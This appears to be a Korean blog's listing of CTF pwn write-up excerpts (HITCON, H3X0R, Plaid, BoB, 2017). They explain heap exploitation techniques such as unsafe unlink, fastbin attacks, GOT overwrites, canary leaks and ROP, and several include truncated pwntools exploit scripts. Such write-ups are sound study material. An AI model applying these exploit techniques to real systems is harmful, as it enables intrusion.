CTF
-
HITCON CTF sleepy_holderCTF 2017. 1. 11. 23:08
sleepy_holder는 secret_holder랑 비슷한데 huge chunk를 한번할당할수있다. 요약을 하자면 got를 덮되, free(small) 이렇게 wipe하기때문에 small의 포인터를 조작하고 free를 puts로해서 puts(got) 식으로 릭을 한다. unsafe_unlink로 fake chunk만들어서 하는 문제 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374from pwn import * p = remote("10.211.55.3",11111) def keep(select,data)..
-
H3X0R CTF train_busanCTF 2017. 1. 10. 13:25
이 문제는 힙을 다루는데, 정확히 말하자면 fastbin attack 이다. 청크는 3개만 할당 가능하고, unlink는 딱 한번만 할당이 가능하며, modify 기능이 있다. 한 청크가 할당도되면 0x18사이즈로 할당이되고, 입력이 가능해진다. 힙 오버플로우 또한 그냥 주게된다. 여기서 힙오버플로우가 발생하니까 fd와 bk를 조작해서 어떠한 주소를 조작할수있단 얘기다. unlink를 호출하는데, B를 unlink한다. 그럼 B의 fd와 bk를 조작해서 fd를 덮는다면 모두 끝날것이다. 처음엔, fd에 got를, bk에 one_shot주소를 덮었지만 세그폴이 발생해서 이 방법으론 안되겠다고 생각하고, 포인터를 조작했다. A,B,C를 조작할수있는데 B는 unlink되니까 C나 A를 조작하면된다. C를 조작..
-
H3X0R CTF commentCTF 2017. 1. 9. 04:20
500점 바이너리인데, 그냥 익스만 엄청나게 귀찮음 argv[0] 포인터를 password주소로 조작해, abort를 일으키면 argv[0]포인터가 password이기때문에 서버의 password를 릭할수있음 그리고 카나리릭은 딱 1024바이트만 입력하는 write 기능에서는 절대 불가능하고 Edit기능에서 오버플로우를 통해 카나리의 앞 \x00(널) 바이트를 채워 puts로 릭을 할 수 있음. 그리고 edit으로 카나리와 RET까지만 덮되 RET는 쉽게 익스하기위해 gets 함수를 호출하는 login함수로 돌림 신나게 ROP 바뀐 바이너리에서 안함 익스하고나니까 업데이트 전 바이너리 ㅁㄴㅇㄹ 그냥 여기서 파일 다운받고 로컬에서 시도 바람 어차피 똑같음 1234567891011121314151617181..
-
H3X0R CTF ezheapCTF 2017. 1. 8. 02:28
한번 free하게되면 함수포인터가있는곳에 할당이되는데 기존힙에 쉘코드 + 놉을 넣어주고 조작한 함수포인터를 호출하면댐 from pwn import * p = remote("52.199.49.117",10003) # p = remote("10.211.55.3",11111) leak = int(p.recv(9),16) log.info(hex(leak)) print p.recvuntil(">>>") p.sendline("1") print p.recvuntil(">>>") p.sendline("3") payload = "AAAA" p.sendline(payload) print p.recvuntil(">>>") p.sendline("4") print p.recvuntil("Exit?") p.sendline("0"..
-
H3X0R CTF Be richCTF 2017. 1. 8. 02:25
md5 calc 같은문제, 머니가 타임시드로 게싱해서 돈올리는것 fsb 취약점이있긴했는데 그거 쓸수있나모르겠네 time.c #include #include int main() { int v0 = time(0); int v4 = 0; srand(v0); v4 = rand() % 10000 + 1; printf("%d",v4); } exp.pyfrom pwn import * import time,os,random p = remote("52.199.49.117",10002) #p = process("pwn100") t = int(time.time()) p.sendline("/bin/sh") p.sendline('') rand = os.popen('./time').read() for i in range(0,70..
-
Plaid CTF prodmanagerCTF 2017. 1. 7. 00:21
list ptr 로 읽을수있고, create -> add -> profile로 풀수있다. 우선 플래그를 읽어주는 함수가 있어서, 그게 우리가 주소를 아는 ptr로되기 때문에 그 ptr로 돌려서 풀수있음 from pwn import * p = remote("10.211.55.3",11111) def create(name,price): print p.recvuntil("Input: ") p.sendline("1") print p.recvuntil("name: ") p.sendline(name) print p.recvuntil("price: ") p.sendline(str(price)) def delete(name): print p.recvuntil("Input: ") p.sendline("2") print ..
-
[BoB CTF] casinoCTF 2017. 1. 4. 23:46
선주형이 문제를 잘못내셨다는 카지노, 잘못내셨지만 일단 취약점은 아래와 같음 1. 인티저오버플로우2. 버퍼오버플로우 그냥 돈벌고 오버플로우 하면된다. 바이너리 보고 분석하시면됩니다 인티저오버플로우내서, rop로 libc 릭하고, 메인으로 돌아와서 계속 체이닝해주면된다. 원샷으로 덮어서 쉘따는 문제 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869from pwn import * p = remote("10.211.55.3",11111) def bet_money(money,lucky): print p.recvuntil(">>>")..
-
[BoB CTF] megaboxCTF 2017. 1. 4. 01:53
megabox 문제는 일단 취약점은 엄청 간단하고, 중요한건 샌드박스임. name은 힙으로 관리하고, 힙은 사용하는데 없음 고로 힙익스가 아님.. 일단 mmap으로 커스텀스택을 하나 할당해서 요기로 관리하게된다. 그리고나서 clone이란 함수를 사용하는데, void ptr로 fn이 복제되어서 샌드박스안에서 돌아가는것처럼 됨. 고로 샌드박스 이스케이프(?) 를 해야된다. 일단 릭벡터와 오버플로우는 엄청 쉽게준다. 릭은 buf를 그냥출력하니까 쉽게 카나리를 릭할수있고, 기존의 리턴은 clone 근처의 libc주소를 갖고있기때문에 libc 릭도 쉽다. 하지만 어딜 덮어야될지모른다. 스택을 ROP로 릭해보았지만 바이너리가 꼬여서 돌아갈주소를 줘도 터지고 함.... 하지만 free_hook을 덮는 방법이있었다 망..